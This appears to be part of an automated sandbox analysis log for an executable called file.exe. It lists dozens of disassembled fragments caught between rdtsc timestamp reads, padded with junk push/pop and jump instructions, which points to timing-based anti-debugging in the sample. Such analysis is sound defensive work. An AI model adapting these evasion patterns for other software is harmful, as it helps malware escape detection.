Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEE5A second address: DBEE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEE60 second address: DBEE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEF0B second address: DBEF0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEF0F second address: DBEF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4904C31176h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEF31 second address: DBEF37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA470 second address: DCA492 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4904C31177h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA492 second address: DCA4D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F490480C8C2h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F490480C8C7h 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D17DEh], ebx 0x00000019 push 00000000h 0x0000001b mov bh, EBh 0x0000001d push eax 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA4D4 second address: DCA4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0C8D second address: DC0C97 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F490480C8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0C97 second address: DC0C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2F21 second address: DC2F38 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F490480C8B6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F490480C8B8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4FF5 second address: DC4FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC604C second address: DC60F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, 5A354488h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F490480C8B8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 clc 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a call 00007F490480C8C2h 0x0000003f mov ebx, 1C26EC86h 0x00000044 pop edi 0x00000045 mov eax, dword ptr [ebp+122D053Dh] 0x0000004b push 00000000h 0x0000004d push ebx 0x0000004e call 00007F490480C8B8h 0x00000053 pop ebx 0x00000054 mov dword ptr [esp+04h], ebx 0x00000058 add dword ptr [esp+04h], 0000001Dh 0x00000060 inc ebx 0x00000061 push ebx 0x00000062 ret 0x00000063 pop ebx 0x00000064 ret 0x00000065 or bh, 00000076h 0x00000068 push FFFFFFFFh 0x0000006a mov ebx, dword ptr [ebp+122D3548h] 0x00000070 nop 0x00000071 jmp 00007F490480C8BAh 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c pop eax 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC60F0 second address: DC60F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC60F6 second address: DC60FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC60FC second address: DC6100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6100 second address: DC6104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC704F second address: DC7055 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA719 second address: DCA742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F490480C8C8h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD23FC second address: DD2406 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4904C31166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2406 second address: DD2414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F490480C8BEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2414 second address: DD241D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64EAD second address: D64EF2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F490480C8BCh 0x0000000e push edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edi 0x00000012 jc 00007F490480C8D8h 0x00000018 jmp 00007F490480C8C5h 0x0000001d jmp 00007F490480C8BDh 0x00000022 popad 0x00000023 push esi 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64EF2 second address: D64EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1B68 second address: DD1B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1D0E second address: DD1D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDA9F1 second address: DDA9F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDAB08 second address: DDAB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDABD7 second address: DDABDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC058 second address: DDC066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0716 second address: DE072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE072A second address: DE072E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE072E second address: DE0744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F490480C8B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F490480C8B6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE08C9 second address: DE08D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0A2B second address: DE0A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F490480C8B6h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0B92 second address: DE0B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0B9A second address: DE0BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0D1A second address: DE0D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0D20 second address: DE0D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F490480C8B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0E8E second address: DE0E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F4904C31166h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE592A second address: DE5934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F490480C8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5934 second address: DE593C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE593C second address: DE594D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F490480C8BAh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5AD6 second address: DE5ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5ADA second address: DE5ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6072 second address: DE607C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4904C3116Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE607C second address: DE6088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6088 second address: DE60A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE60A0 second address: DE60AA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F490480C8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE633E second address: DE6346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6346 second address: DE6353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6353 second address: DE6359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6359 second address: DE636D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F490480C8BFh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE64B3 second address: DE64B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE64B7 second address: DE64BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE64BB second address: DE64C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6657 second address: DE667F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F490480C8BAh 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE692B second address: DE692F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE692F second address: DE6933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6933 second address: DE693C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE693C second address: DE6941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC4F8 second address: DEC507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F4904C31166h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB21C second address: DEB222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB222 second address: DEB226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB600 second address: DEB605 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBB59 second address: DEBB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBDF8 second address: DEBDFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEBDFE second address: DEBE07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADA0 second address: DEADB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADB7 second address: DEADC5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4904C31166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADC5 second address: DEADC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADC9 second address: DEADD3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4904C31166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADD3 second address: DEADE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007F490480C8C0h 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7561 second address: DB7567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7567 second address: DB756F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB756F second address: D92305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 add cx, 64D3h 0x0000000e call dword ptr [ebp+122D3490h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7B8A second address: DB7BA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F490480C8C3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7F0B second address: DB7F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB86B8 second address: DB86C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0306 second address: DF0341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31178h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4904C31175h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0341 second address: DF0345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0345 second address: DF035E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 jno 00007F4904C31166h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF89AC second address: DF89B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF89B9 second address: DF89C5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F4904C31166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF89C5 second address: DF89CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF89CA second address: DF89D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF89D0 second address: DF89EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F490480C8C7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF89EE second address: DF89FF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4904C31166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF89FF second address: DF8A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8A03 second address: DF8A22 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4904C31166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 jbe 00007F4904C3116Ah 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB331 second address: DFB362 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jp 00007F490480C8B6h 0x0000000d pop edi 0x0000000e jns 00007F490480C8C2h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F490480C8BCh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB362 second address: DFB37C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB37C second address: DFB39B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C0h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jng 00007F490480C8B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB616 second address: DFB61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB61E second address: DFB63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB77D second address: DFB795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F4904C31166h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB795 second address: DFB79B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
